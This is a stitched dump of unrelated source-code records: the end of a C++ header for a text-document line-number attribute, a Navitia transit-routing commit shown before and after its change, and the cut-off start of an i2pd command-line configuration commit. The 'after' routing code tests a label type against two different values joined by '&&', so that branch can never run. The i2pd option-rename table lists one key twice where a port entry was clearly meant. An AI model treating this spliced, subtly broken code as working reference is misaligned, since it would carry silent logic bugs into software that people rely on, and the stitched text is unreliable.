<hintids.hxx>\n#include <format.hxx>\n#include \"swdllapi.h\"\n\nclass IntlWrapper;\n\nclass SW_DLLPUBLIC SwFmtLineNumber: public SfxPoolItem\n{\n    ULONG nStartValue   :24; \/\/Startwert fuer den Absatz, 0 == kein Startwert\n    ULONG bCountLines   :1;  \/\/Zeilen des Absatzes sollen mitgezaehlt werden.\n\npublic:\n    SwFmtLineNumber();\n    ~SwFmtLineNumber();\n\n    TYPEINFO();\n\n    \/\/ \"pure virtual Methoden\" vom SfxPoolItem\n    virtual int             operator==( const SfxPoolItem& ) const;\n    virtual SfxPoolItem*    Clone( SfxItemPool* pPool = 0 ) const;\n    virtual SfxItemPresentation GetPresentation( SfxItemPresentation ePres,\n                                    SfxMapUnit eCoreMetric,\n                                    SfxMapUnit ePresMetric,\n                                    String &rText,\n                                    const IntlWrapper*    pIntl = 0 ) const;\n    virtual BOOL             QueryValue( com::sun::star::uno::Any& rVal, BYTE nMemberId = 0 ) const;\n    virtual BOOL             PutValue( const com::sun::star::uno::Any& rVal, BYTE nMemberId = 0 );\n\n    ULONG GetStartValue() const { return nStartValue; }\n    BOOL  IsCount()       const { return bCountLines != 0; }\n\n    void SetStartValue( ULONG nNew ) { nStartValue = nNew; }\n    void SetCountLines( BOOL b )     { bCountLines = b;    }\n};\n\ninline const SwFmtLineNumber &SwAttrSet::GetLineNumber(BOOL bInP) const\n    { return (const SwFmtLineNumber&)Get( RES_LINENUMBER,bInP); }\n\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright © 2001-2014, Canal TP and\/or its affiliates. All rights reserved.\n  \nThis file is part of Navitia,\n    the software to build cool stuff with public transport.\n \nHope you'll enjoy and contribute to this project,\n    powered by Canal TP (www.canaltp.fr).\nHelp us simplify mobility and open public transport:\n    a non ending quest to the responsive locomotion way of traveling!\n  \nLICENCE: This program is free software; you can redistribute it and\/or modify\nit under the terms of the GNU Affero General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n   \nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU Affero General Public License for more details.\n   \nYou should have received a copy of the GNU Affero General Public License\nalong with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n  \nStay tuned using\ntwitter @navitia \nIRC #navitia on freenode\nhttps:\/\/groups.google.com\/d\/forum\/navitia\nwww.navitia.io\n*\/\n\n#include \"raptor_solutions.h\"\n#include \"raptor_path.h\"\n#include \"raptor.h\"\n#include \"raptor_path_defs.h\"\n\n\nnamespace bt = boost::posix_time;\nnamespace navitia { namespace routing {\n\nSolutions\nget_solutions(const std::vector<std::pair<type::idx_t, navitia::time_duration> > &departs,\n             const std::vector<std::pair<type::idx_t, navitia::time_duration> > &destinations,\n             bool clockwise, const type::AccessibiliteParams & accessibilite_params,\n             bool disruption_active, const RAPTOR& raptor) {\n      Solutions result;\n      auto pareto_front = get_pareto_front(clockwise, departs, destinations,\n              accessibilite_params, disruption_active, raptor);\n      result.insert(pareto_front.begin(), pareto_front.end());\n\n      if(!pareto_front.empty()) {\n          auto walking_solutions = get_walking_solutions(clockwise, departs, destinations,\n                  *pareto_front.rbegin(), disruption_active, accessibilite_params, raptor);\n          if(!walking_solutions.empty()) {\n            result.insert(walking_solutions.begin(), walking_solutions.end());\n          }\n      }\n      return result;\n}\n\n\nSolutions\nget_solutions(const std::vector<std::pair<type::idx_t, navitia::time_duration> > &departs,\n              const DateTime &dep, bool clockwise, const type::Data & data, bool) {\n    Solutions result;\n    for(auto dep_dist : departs) {\n        for(auto journey_pattern : data.pt_data->stop_points[dep_dist.first]->journey_pattern_point_list) {\n            Solution d;\n            d.count = 0;\n            d.rpidx = journey_pattern->idx;\n            d.walking_time = dep_dist.second;\n            if(clockwise)\n                d.arrival = dep + d.walking_time.total_seconds();\n            else\n                d.arrival = dep - d.walking_time.total_seconds();\n            result.insert(d);\n        }\n    }\n    return result;\n}\n\n\/\/ Does the current date improves compared to best_so_far – we must not forget to take the walking duration\nbool improves(const DateTime & best_so_far, bool clockwise, const DateTime & current, int walking_duration) {\n    if(clockwise) {\n        return (current - walking_duration) > best_so_far;\n    } else {\n        return (current + walking_duration) < best_so_far;\n    }\n}\n\nSolutions\nget_pareto_front(bool clockwise, const std::vector<std::pair<type::idx_t, navitia::time_duration> > &departs,\n               const std::vector<std::pair<type::idx_t, navitia::time_duration> > &destinations,\n               const type::AccessibiliteParams & accessibilite_params, bool disruption_active, const RAPTOR& raptor) {\n    Solutions result;\n\n    DateTime best_dt, best_dt_jpp;\n    if(clockwise) {\n        best_dt = DateTimeUtils::min;\n        best_dt_jpp = DateTimeUtils::min;\n    } else {\n        best_dt = DateTimeUtils::inf;\n        best_dt_jpp = DateTimeUtils::inf;\n    }\n    for(unsigned int round=1; round < raptor.labels.size(); ++round) {\n        \/\/ For every round with look for the best journey pattern point that belongs to one of the destination stop points\n        \/\/ We must not forget to walking duration\n        type::idx_t best_jpp = type::invalid_idx;\n        for(auto spid_dist : destinations) {\n            for(auto journey_pattern_point : raptor.data.pt_data->stop_points[spid_dist.first]->journey_pattern_point_list) {\n                type::idx_t jppidx = journey_pattern_point->idx;\n                auto type = raptor.labels[round][journey_pattern_point->idx].type;\n                auto& l = raptor.labels[round][jppidx];\n                if((type == boarding_type::vj || type == boarding_type::connection_stay_in) &&\n                   l.dt != DateTimeUtils::inf &&\n                   l.dt != DateTimeUtils::min &&\n                   improves(best_dt, clockwise, l.dt, spid_dist.second.total_seconds()) ) {\n                    best_jpp = jppidx;\n                    best_dt_jpp = l.dt;\n                    \/\/ Dans le sens horaire : lors du calcul on gardé que l’heure de départ, mais on veut l’arrivée\n                    \/\/ Il faut donc retrouver le stop_time qui nous intéresse avec best_stop_time\n                    const type::StopTime* st;\n                    DateTime dt = 0;\n\n                    std::tie(st, dt) = best_stop_time(journey_pattern_point, l.dt, accessibilite_params.vehicle_properties,\n                                                      !clockwise, disruption_active, raptor.data, true);\n                    BOOST_ASSERT(st);\n                    if(st != nullptr) {\n                        if(clockwise) {\n                            auto arrival_time = !st->is_frequency() ? st->arrival_time : st->f_arrival_time(DateTimeUtils::hour(dt));\n                            DateTimeUtils::update(best_dt_jpp, arrival_time, !clockwise);\n                        } else {\n                            auto departure_time = !st->is_frequency() ? st->departure_time : st->f_departure_time(DateTimeUtils::hour(dt));\n                            DateTimeUtils::update(best_dt_jpp, departure_time, !clockwise);\n                        }\n                    }\n                    if(clockwise)\n                        best_dt = l.dt - (spid_dist.second.total_seconds());\n                    else\n                        best_dt = l.dt + (spid_dist.second.total_seconds());\n                }\n            }\n        }\n        if(best_jpp != type::invalid_idx) {\n            Solution s;\n            s.rpidx = best_jpp;\n            s.count = round;\n            s.walking_time = getWalkingTime(round, best_jpp, departs, destinations, clockwise, disruption_active,\n                                            accessibilite_params, raptor);\n            s.arrival = best_dt_jpp;\n            s.ratio = 0;\n            type::idx_t final_rpidx;\n            std::tie(final_rpidx, s.upper_bound) = get_final_jppidx_and_date(round, best_jpp, clockwise,\n                                                                             disruption_active, accessibilite_params, raptor);\n            for(auto spid_dep : departs) {\n                if(raptor.data.pt_data->journey_pattern_points[final_rpidx]->stop_point->idx == spid_dep.first) {\n                    if(clockwise) {\n                        s.upper_bound = s.upper_bound + (spid_dep.second.total_seconds());\n                    }else {\n                        s.upper_bound = s.upper_bound - (spid_dep.second.total_seconds());\n                    }\n                }\n            }\n            result.insert(s);\n        }\n    }\n\n    return result;\n}\n\n\n\n\n\nSolutions\nget_walking_solutions(bool clockwise, const std::vector<std::pair<type::idx_t, navitia::time_duration> > &departs,\n                      const std::vector<std::pair<type::idx_t, navitia::time_duration> > &destinations, const Solution& best,\n                      const bool disruption_active, const type::AccessibiliteParams &accessibilite_params,\n                      const RAPTOR& raptor) {\n    Solutions result;\n\n    std::\/*unordered_*\/map<type::idx_t, Solution> tmp;\n\n    for(uint32_t i=0; i<raptor.labels.size(); ++i) {\n        for(auto spid_dist : destinations) {\n            Solution best_departure;\n            best_departure.ratio = 2;\n            best_departure.rpidx = type::invalid_idx;\n            for(auto journey_pattern_point : raptor.data.pt_data->stop_points[spid_dist.first]->journey_pattern_point_list) {\n                type::idx_t jppidx = journey_pattern_point->idx;\n                if(raptor.labels[i][journey_pattern_point->idx].type != boarding_type::uninitialized) {\n                    navitia::time_duration walking_time = getWalkingTime(i, jppidx, departs, destinations, clockwise,\n                                                                         disruption_active, accessibilite_params, raptor);\n                    if(best.walking_time <= walking_time) {\n                        continue;\n                    }\n                    float lost_time;\n                    if(clockwise)\n                        lost_time = raptor.labels[i][jppidx].dt - (spid_dist.second.total_seconds()) - best.arrival;\n                    else\n                        lost_time = raptor.labels[i][jppidx].dt + (spid_dist.second.total_seconds()) - best.arrival;\n\n\n                    \/\/Si je gagne 5 minutes de marche a pied, je suis pret à perdre jusqu'à 10 minutes.\n                    int walking_time_diff_in_s = (best.walking_time - walking_time).total_seconds();\n                    if (walking_time_diff_in_s > 0) {\n                        float ratio = lost_time \/ walking_time_diff_in_s;\n                        if( ratio < best_departure.ratio) {\n                            Solution s;\n                            s.rpidx = jppidx;\n                            s.count = i;\n                            s.ratio = ratio;\n                            s.walking_time = walking_time;\n                            s.arrival = raptor.labels[i][jppidx].dt;\n                            type::idx_t final_rpidx;\n                            DateTime last_time;\n                            std::tie(final_rpidx, last_time) = get_final_jppidx_and_date(i, jppidx, clockwise,\n                                                                                         disruption_active, accessibilite_params, raptor);\n\n                            if(clockwise) {\n                                s.upper_bound = last_time;\n                                for(auto spid_dep : departs) {\n                                    if(raptor.data.pt_data->journey_pattern_points[final_rpidx]->stop_point->idx == spid_dep.first) {\n                                        s.upper_bound = s.upper_bound + (spid_dep.second.total_seconds());\n                                    }\n                                }\n                            } else {\n                                s.upper_bound = last_time;\n                                for(auto spid_dep : departs) {\n                                    if(raptor.data.pt_data->journey_pattern_points[final_rpidx]->stop_point->idx == spid_dep.first) {\n                                        s.upper_bound = s.upper_bound - (spid_dep.second.total_seconds());\n                                    }\n                                }\n                            }\n\n                            best_departure = s;\n                        }\n                    }\n                }\n            }\n            if(best_departure.rpidx != type::invalid_idx) {\n                type::idx_t journey_pattern = raptor.data.pt_data->journey_pattern_points[best_departure.rpidx]->journey_pattern->idx;\n                if(tmp.find(journey_pattern) == tmp.end()) {\n                    tmp.insert(std::make_pair(journey_pattern, best_departure));\n                } else if(tmp[journey_pattern].ratio > best_departure.ratio) {\n                    tmp[journey_pattern] = best_departure;\n                }\n            }\n\n        }\n    }\n\n\n    std::vector<Solution> to_sort;\n    for(auto p : tmp) {\n        to_sort.push_back(p.second);\n    }\n    std::sort(to_sort.begin(), to_sort.end(),\n            [](const Solution s1, const Solution s2) { return s1.ratio < s2.ratio;});\n\n    if(to_sort.size() > 2)\n        to_sort.resize(2);\n    result.insert(to_sort.begin(), to_sort.end());\n\n    return result;\n}\n\nstruct VisitorFinalJppAndDate : public BasePathVisitor {\n    type::idx_t current_jpp = type::invalid_idx;\n    DateTime last_time = DateTimeUtils::inf;\n    void final_step(const type::idx_t current_jpp, size_t count, const std::vector<label_vector_t> &labels) {\n        this->current_jpp = current_jpp;\n        last_time = labels[count][current_jpp].dt;\n    }\n};\n\n\/\/ Reparcours l’itinéraire rapidement pour avoir le JPP et la date de départ (si on cherchait l’arrivée au plus tôt)\nstd::pair<type::idx_t, DateTime>\nget_final_jppidx_and_date(int count, type::idx_t jpp_idx, bool clockwise, bool disruption_active,\n                          const type::AccessibiliteParams & accessibilite_params, const RAPTOR& raptor) {\n    VisitorFinalJppAndDate v;\n    read_path(v, jpp_idx, count, !clockwise, disruption_active, accessibilite_params, raptor);\n    return std::make_pair(v.current_jpp, v.last_time);\n}\n\n\nstruct VisitorWalkingTime : public BasePathVisitor {\n    navitia::time_duration walking_time = {};\n    void connection(type::StopPoint* , type::StopPoint* ,\n                boost::posix_time::ptime dep_time, boost::posix_time::ptime arr_time,\n                type::StopPointConnection*) {\n\n        walking_time += navitia::seconds((arr_time - dep_time).total_seconds());\n    }\n};\n\n\nnavitia::time_duration getWalkingTime(int count, type::idx_t jpp_idx, const std::vector<std::pair<type::idx_t, navitia::time_duration> > &departs,\n                     const std::vector<std::pair<type::idx_t, navitia::time_duration> > &destinations,\n                     bool clockwise, bool disruption_active, const type::AccessibiliteParams & accessibilite_params,\n                     const RAPTOR& raptor) {\n\n    const type::JourneyPatternPoint* current_jpp = raptor.data.pt_data->journey_pattern_points[jpp_idx];\n    navitia::time_duration walking_time = {};\n\n    \/\/Marche à la fin\n    for(auto dest_dist : destinations) {\n        if(dest_dist.first == current_jpp->stop_point->idx) {\n            walking_time = dest_dist.second;\n            break;\n        }\n    }\n\n    VisitorWalkingTime v;\n    read_path(v, current_jpp->idx, count, !clockwise, disruption_active, accessibilite_params, raptor);\n    walking_time += v.walking_time;\n    \/\/Marche au départ\n    for(auto dep_dist : departs) {\n        if(dep_dist.first == current_jpp->stop_point->idx) {\n            walking_time += dep_dist.second;\n            break;\n        }\n    }\n\n    return walking_time;\n}\n\n}}\n\n<commit_msg>Kraken: only look for solutions ending by a vj or a connection_stay_in<commit_after>\/* Copyright © 2001-2014, Canal TP and\/or its affiliates. All rights reserved.\n  \nThis file is part of Navitia,\n    the software to build cool stuff with public transport.\n \nHope you'll enjoy and contribute to this project,\n    powered by Canal TP (www.canaltp.fr).\nHelp us simplify mobility and open public transport:\n    a non ending quest to the responsive locomotion way of traveling!\n  \nLICENCE: This program is free software; you can redistribute it and\/or modify\nit under the terms of the GNU Affero General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n   \nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU Affero General Public License for more details.\n   \nYou should have received a copy of the GNU Affero General Public License\nalong with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n  \nStay tuned using\ntwitter @navitia \nIRC #navitia on freenode\nhttps:\/\/groups.google.com\/d\/forum\/navitia\nwww.navitia.io\n*\/\n\n#include \"raptor_solutions.h\"\n#include \"raptor_path.h\"\n#include \"raptor.h\"\n#include \"raptor_path_defs.h\"\n\n\nnamespace bt = boost::posix_time;\nnamespace navitia { namespace routing {\n\nSolutions\nget_solutions(const std::vector<std::pair<type::idx_t, navitia::time_duration> > &departs,\n             const std::vector<std::pair<type::idx_t, navitia::time_duration> > &destinations,\n             bool clockwise, const type::AccessibiliteParams & accessibilite_params,\n             bool disruption_active, const RAPTOR& raptor) {\n      Solutions result;\n      auto pareto_front = get_pareto_front(clockwise, departs, destinations,\n              accessibilite_params, disruption_active, raptor);\n      result.insert(pareto_front.begin(), pareto_front.end());\n\n      if(!pareto_front.empty()) {\n          auto walking_solutions = get_walking_solutions(clockwise, departs, destinations,\n                  *pareto_front.rbegin(), disruption_active, accessibilite_params, raptor);\n          if(!walking_solutions.empty()) {\n            result.insert(walking_solutions.begin(), walking_solutions.end());\n          }\n      }\n      return result;\n}\n\n\nSolutions\nget_solutions(const std::vector<std::pair<type::idx_t, navitia::time_duration> > &departs,\n              const DateTime &dep, bool clockwise, const type::Data & data, bool) {\n    Solutions result;\n    for(auto dep_dist : departs) {\n        for(auto journey_pattern : data.pt_data->stop_points[dep_dist.first]->journey_pattern_point_list) {\n            Solution d;\n            d.count = 0;\n            d.rpidx = journey_pattern->idx;\n            d.walking_time = dep_dist.second;\n            if(clockwise)\n                d.arrival = dep + d.walking_time.total_seconds();\n            else\n                d.arrival = dep - d.walking_time.total_seconds();\n            result.insert(d);\n        }\n    }\n    return result;\n}\n\n\/\/ Does the current date improves compared to best_so_far – we must not forget to take the walking duration\nbool improves(const DateTime & best_so_far, bool clockwise, const DateTime & current, int walking_duration) {\n    if(clockwise) {\n        return (current - walking_duration) > best_so_far;\n    } else {\n        return (current + walking_duration) < best_so_far;\n    }\n}\n\nSolutions\nget_pareto_front(bool clockwise, const std::vector<std::pair<type::idx_t, navitia::time_duration> > &departs,\n               const std::vector<std::pair<type::idx_t, navitia::time_duration> > &destinations,\n               const type::AccessibiliteParams & accessibilite_params, bool disruption_active, const RAPTOR& raptor) {\n    Solutions result;\n\n    DateTime best_dt, best_dt_jpp;\n    if(clockwise) {\n        best_dt = DateTimeUtils::min;\n        best_dt_jpp = DateTimeUtils::min;\n    } else {\n        best_dt = DateTimeUtils::inf;\n        best_dt_jpp = DateTimeUtils::inf;\n    }\n    for(unsigned int round=1; round < raptor.labels.size(); ++round) {\n        \/\/ For every round with look for the best journey pattern point that belongs to one of the destination stop points\n        \/\/ We must not forget to walking duration\n        type::idx_t best_jpp = type::invalid_idx;\n        for(auto spid_dist : destinations) {\n            for(auto journey_pattern_point : raptor.data.pt_data->stop_points[spid_dist.first]->journey_pattern_point_list) {\n                type::idx_t jppidx = journey_pattern_point->idx;\n                auto type = raptor.labels[round][journey_pattern_point->idx].type;\n                auto& l = raptor.labels[round][jppidx];\n                if((type == boarding_type::vj || type == boarding_type::connection_stay_in) &&\n                   l.dt != DateTimeUtils::inf &&\n                   l.dt != DateTimeUtils::min &&\n                   improves(best_dt, clockwise, l.dt, spid_dist.second.total_seconds()) ) {\n                    best_jpp = jppidx;\n                    best_dt_jpp = l.dt;\n                    \/\/ Dans le sens horaire : lors du calcul on gardé que l’heure de départ, mais on veut l’arrivée\n                    \/\/ Il faut donc retrouver le stop_time qui nous intéresse avec best_stop_time\n                    const type::StopTime* st;\n                    DateTime dt = 0;\n\n                    std::tie(st, dt) = best_stop_time(journey_pattern_point, l.dt, accessibilite_params.vehicle_properties,\n                                                      !clockwise, disruption_active, raptor.data, true);\n                    BOOST_ASSERT(st);\n                    if(st != nullptr) {\n                        if(clockwise) {\n                            auto arrival_time = !st->is_frequency() ? st->arrival_time : st->f_arrival_time(DateTimeUtils::hour(dt));\n                            DateTimeUtils::update(best_dt_jpp, arrival_time, !clockwise);\n                        } else {\n                            auto departure_time = !st->is_frequency() ? st->departure_time : st->f_departure_time(DateTimeUtils::hour(dt));\n                            DateTimeUtils::update(best_dt_jpp, departure_time, !clockwise);\n                        }\n                    }\n                    if(clockwise)\n                        best_dt = l.dt - (spid_dist.second.total_seconds());\n                    else\n                        best_dt = l.dt + (spid_dist.second.total_seconds());\n                }\n            }\n        }\n        if(best_jpp != type::invalid_idx) {\n            Solution s;\n            s.rpidx = best_jpp;\n            s.count = round;\n            s.walking_time = getWalkingTime(round, best_jpp, departs, destinations, clockwise, disruption_active,\n                                            accessibilite_params, raptor);\n            s.arrival = best_dt_jpp;\n            s.ratio = 0;\n            type::idx_t final_rpidx;\n            std::tie(final_rpidx, s.upper_bound) = get_final_jppidx_and_date(round, best_jpp, clockwise,\n                                                                             disruption_active, accessibilite_params, raptor);\n            for(auto spid_dep : departs) {\n                if(raptor.data.pt_data->journey_pattern_points[final_rpidx]->stop_point->idx == spid_dep.first) {\n                    if(clockwise) {\n                        s.upper_bound = s.upper_bound + (spid_dep.second.total_seconds());\n                    }else {\n                        s.upper_bound = s.upper_bound - (spid_dep.second.total_seconds());\n                    }\n                }\n            }\n            result.insert(s);\n        }\n    }\n\n    return result;\n}\n\n\n\n\n\nSolutions\nget_walking_solutions(bool clockwise, const std::vector<std::pair<type::idx_t, navitia::time_duration> > &departs,\n                      const std::vector<std::pair<type::idx_t, navitia::time_duration> > &destinations, const Solution& best,\n                      const bool disruption_active, const type::AccessibiliteParams &accessibilite_params,\n                      const RAPTOR& raptor) {\n    Solutions result;\n\n    std::\/*unordered_*\/map<type::idx_t, Solution> tmp;\n\n    for(uint32_t i=0; i<raptor.labels.size(); ++i) {\n        for(auto spid_dist : destinations) {\n            Solution best_departure;\n            best_departure.ratio = 2;\n            best_departure.rpidx = type::invalid_idx;\n            for(auto journey_pattern_point : raptor.data.pt_data->stop_points[spid_dist.first]->journey_pattern_point_list) {\n                type::idx_t jppidx = journey_pattern_point->idx;\n                \/\/ We only want solution ending by a vehicle journey or a stay_in\n                if(raptor.labels[i][journey_pattern_point->idx].type == boarding_type::vj &&\n                   raptor.labels[i][journey_pattern_point->idx].type == boarding_type::connection_stay_in) {\n                    navitia::time_duration walking_time = getWalkingTime(i, jppidx, departs, destinations, clockwise,\n                                                                         disruption_active, accessibilite_params, raptor);\n                    if(best.walking_time <= walking_time) {\n                        continue;\n                    }\n                    float lost_time;\n                    if(clockwise)\n                        lost_time = raptor.labels[i][jppidx].dt - (spid_dist.second.total_seconds()) - best.arrival;\n                    else\n                        lost_time = raptor.labels[i][jppidx].dt + (spid_dist.second.total_seconds()) - best.arrival;\n\n\n                    \/\/Si je gagne 5 minutes de marche a pied, je suis pret à perdre jusqu'à 10 minutes.\n                    int walking_time_diff_in_s = (best.walking_time - walking_time).total_seconds();\n                    if (walking_time_diff_in_s > 0) {\n                        float ratio = lost_time \/ walking_time_diff_in_s;\n                        if( ratio >= best_departure.ratio) {\n                            continue;\n                        }\n                        Solution s;\n                        s.rpidx = jppidx;\n                        s.count = i;\n                        s.ratio = ratio;\n                        s.walking_time = walking_time;\n                        s.arrival = raptor.labels[i][jppidx].dt;\n                        type::idx_t final_rpidx;\n                        DateTime last_time;\n                        std::tie(final_rpidx, last_time) = get_final_jppidx_and_date(i, jppidx, clockwise,\n                                            disruption_active, accessibilite_params, raptor);\n\n                        if(clockwise) {\n                            s.upper_bound = last_time;\n                            for(auto spid_dep : departs) {\n                                if(raptor.data.pt_data->journey_pattern_points[final_rpidx]->stop_point->idx == spid_dep.first) {\n                                    s.upper_bound = s.upper_bound + (spid_dep.second.total_seconds());\n                                }\n                            }\n                        } else {\n                            s.upper_bound = last_time;\n                            for(auto spid_dep : departs) {\n                                if(raptor.data.pt_data->journey_pattern_points[final_rpidx]->stop_point->idx == spid_dep.first) {\n                                    s.upper_bound = s.upper_bound - (spid_dep.second.total_seconds());\n                                }\n                            }\n                        }\n\n                        best_departure = s;\n                    }\n                }\n            }\n            if(best_departure.rpidx != type::invalid_idx) {\n                type::idx_t journey_pattern = raptor.data.pt_data->journey_pattern_points[best_departure.rpidx]->journey_pattern->idx;\n                if(tmp.find(journey_pattern) == tmp.end()) {\n                    tmp.insert(std::make_pair(journey_pattern, best_departure));\n                } else if(tmp[journey_pattern].ratio > best_departure.ratio) {\n                    tmp[journey_pattern] = best_departure;\n                }\n            }\n\n        }\n    }\n\n\n    std::vector<Solution> to_sort;\n    for(auto p : tmp) {\n        to_sort.push_back(p.second);\n    }\n    std::sort(to_sort.begin(), to_sort.end(),\n            [](const Solution s1, const Solution s2) { return s1.ratio < s2.ratio;});\n\n    if(to_sort.size() > 2)\n        to_sort.resize(2);\n    result.insert(to_sort.begin(), to_sort.end());\n\n    return result;\n}\n\nstruct VisitorFinalJppAndDate : public BasePathVisitor {\n    type::idx_t current_jpp = type::invalid_idx;\n    DateTime last_time = DateTimeUtils::inf;\n    void final_step(const type::idx_t current_jpp, size_t count, const std::vector<label_vector_t> &labels) {\n        this->current_jpp = current_jpp;\n        last_time = labels[count][current_jpp].dt;\n    }\n};\n\n\/\/ Reparcours l’itinéraire rapidement pour avoir le JPP et la date de départ (si on cherchait l’arrivée au plus tôt)\nstd::pair<type::idx_t, DateTime>\nget_final_jppidx_and_date(int count, type::idx_t jpp_idx, bool clockwise, bool disruption_active,\n                          const type::AccessibiliteParams & accessibilite_params, const RAPTOR& raptor) {\n    VisitorFinalJppAndDate v;\n    read_path(v, jpp_idx, count, !clockwise, disruption_active, accessibilite_params, raptor);\n    return std::make_pair(v.current_jpp, v.last_time);\n}\n\n\nstruct VisitorWalkingTime : public BasePathVisitor {\n    navitia::time_duration walking_time = {};\n    void connection(type::StopPoint* , type::StopPoint* ,\n                boost::posix_time::ptime dep_time, boost::posix_time::ptime arr_time,\n                type::StopPointConnection*) {\n\n        walking_time += navitia::seconds((arr_time - dep_time).total_seconds());\n    }\n};\n\n\nnavitia::time_duration getWalkingTime(int count, type::idx_t jpp_idx, const std::vector<std::pair<type::idx_t, navitia::time_duration> > &departs,\n                     const std::vector<std::pair<type::idx_t, navitia::time_duration> > &destinations,\n                     bool clockwise, bool disruption_active, const type::AccessibiliteParams & accessibilite_params,\n                     const RAPTOR& raptor) {\n\n    const type::JourneyPatternPoint* current_jpp = raptor.data.pt_data->journey_pattern_points[jpp_idx];\n    navitia::time_duration walking_time = {};\n\n    \/\/Marche à la fin\n    for(auto dest_dist : destinations) {\n        if(dest_dist.first == current_jpp->stop_point->idx) {\n            walking_time = dest_dist.second;\n            break;\n        }\n    }\n\n    VisitorWalkingTime v;\n    read_path(v, current_jpp->idx, count, !clockwise, disruption_active, accessibilite_params, raptor);\n    walking_time += v.walking_time;\n    \/\/Marche au départ\n    for(auto dep_dist : departs) {\n        if(dep_dist.first == current_jpp->stop_point->idx) {\n            walking_time += dep_dist.second;\n            break;\n        }\n    }\n\n    return walking_time;\n}\n\n}}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n* Copyright (c) 2013-2016, The PurpleI2P Project\n*\n* This file is part of Purple i2pd project and licensed under BSD3\n*\n* See full license text in LICENSE file at top of project tree\n*\/\n\n#include <cstdlib>\n#include <iostream>\n#include <fstream>\n#include <map>\n#include <string>\n#include <boost\/program_options\/cmdline.hpp>\n#include <boost\/program_options\/options_description.hpp>\n#include <boost\/program_options\/parsers.hpp>\n#include <boost\/program_options\/variables_map.hpp>\n\n#include \"Config.h\"\n#include \"version.h\"\n\nusing namespace boost::program_options;\n\nnamespace i2p {\nnamespace config {\n  options_description m_OptionsDesc;\n  variables_map       m_Options;\n\n  \/* list of renamed options *\/\n  std::map<std::string, std::string> remapped_options = {\n    { \"tunnelscfg\",          \"tunconf\" },\n    { \"v6\",                  \"ipv6\" },\n    { \"httpaddress\",         \"http.address\" },\n    { \"httpport\",            \"http.port\"    },\n    { \"httpproxyaddress\",    \"httpproxy.address\"  },\n    { \"httpproxyport\",       \"httpproxy.port\"     },\n    { \"socksproxyaddress\",   \"socksproxy.address\" },\n    { \"socksproxyport\",      \"socksproxy.port\"    },\n    { \"samaddress\",          \"sam.address\" },\n    { \"samport\",             \"sam.port\"    },\n    { \"bobaddress\",          \"bob.address\" },\n    { \"bobport\",             \"bob.port\"    },\n    { \"i2pcontroladdress\",   \"i2pcontrol.address\" },\n    { \"i2pcontroladdress\",   \"i2pcontrol.port\"    },\n    { \"proxykeys\",           \"httpproxy.keys\" },\n  };\n  \/* list of options, that loose their argument and become simple switch *\/\n  std::set<std::string> boolean_options = {\n    \"daemon\", \"floodfill\", \"notransit\", \"service\", \"ipv6\"\n  };\n\n  \/* this function is a solid piece of shit, remove it after 2.6.0 *\/\n  std::pair<std::string, std::string> old_syntax_parser(const std::string& s) {\n    std::string name  = \"\";\n    std::string value = \"\";\n    std::size_t pos = 0;\n    \/* shortcuts -- -h *\/\n    if (s.length() == 2 && s.at(0) == '-' && s.at(1) != '-')\n      return make_pair(s.substr(1), \"\");\n    \/* old-style -- -log, \/log, etc *\/\n    if (s.at(0) == '\/' || (s.at(0) == '-' && s.at(1) != '-')) {\n      if ((pos = s.find_first_of(\"= \")) != std::string::npos) {\n        name  = s.substr(1, pos - 1);\n        value = s.substr(pos + 1);\n      } else {\n        name  = s.substr(1, pos);\n        value = \"\";\n      }\n      if (boolean_options.count(name) > 0 && value != \"\")\n        std::cerr << \"args: don't give an argument to switch option: \" << s << std::endl;\n      if (m_OptionsDesc.find_nothrow(name, false)) {\n        std::cerr << \"args: option \" << s << \" style is DEPRECATED, use --\" << name << \" instead\" << std::endl;\n        return std::make_pair(name, value);\n      }\n      if (remapped_options.count(name) > 0) {\n        name = remapped_options[name];\n        std::cerr << \"args: option \" << s << \" is DEPRECATED, use --\" << name << \" instead\" << std::endl;\n        return std::make_pair(name, value);\n      } \/* else *\/\n    }\n    \/* long options -- --help *\/\n    if (s.substr(0, 2) == \"--\") {\n      if ((pos = s.find_first_of(\"= \")) != std::string::npos) {\n        name  = s.substr(2, pos - 2);\n        value = s.substr(pos + 1);\n      } else {\n        name  = s.substr(2, pos);\n        value = \"\";\n      }\n      if (boolean_options.count(name) > 0 && value != \"\") {\n        std::cerr << \"args: don't give an argument to switch option: \" << s << std::endl;\n        value = \"\";\n      }\n      if (m_OptionsDesc.find_nothrow(name, false))\n        return std::make_pair(name, value);\n      if (remapped_options.count(name) > 0) {\n        name = remapped_options[name];\n        std::cerr << \"args: option \" << s << \" is DEPRECATED, use --\" << name << \" instead\" << std::endl;\n        return std::make_pair(name, value);\n      } \/* else *\/\n    }\n    std::cerr << \"args: unknown option -- \" << s << std::endl;\n    return std::make_pair(\"\", \"\");\n  }\n\n  void Init() {\n    options_description general(\"General options\");\n    general.add_options()\n      (\"help\",     \"Show this message\")\n      (\"conf\",      value<std::string>()->default_value(\"\"),     \"Path to main i2pd config file (default: try ~\/.i2pd\/i2pd.conf or \/var\/lib\/i2pd\/i2pd.conf)\")\n      (\"tunconf\",   value<std::string>()->default_value(\"\"),     \"Path to config with tunnels list and options (default: try ~\/.i2pd\/tunnels.conf or \/var\/lib\/i2pd\/tunnels.conf)\")\n      (\"pidfile\",   value<std::string>()->default_value(\"\"),     \"Path to pidfile (default: ~\/i2pd\/i2pd.pid or \/var\/lib\/i2pd\/i2pd.pid)\")\n      (\"log\",       value<std::string>()->default_value(\"\"),     \"Logs destination: stdout, file, syslog (stdout if not set)\")\n      (\"logfile\",   value<std::string>()->default_value(\"\"),     \"Path to logfile (stdout if not set, autodetect if daemon)\")\n      (\"loglevel\",  value<std::string>()->default_value(\"info\"), \"Set the minimal level of log messages (debug, info, warn, error)\")\n\t  (\"family\",    value<std::string>()->default_value(\"\"),     \"Specify a 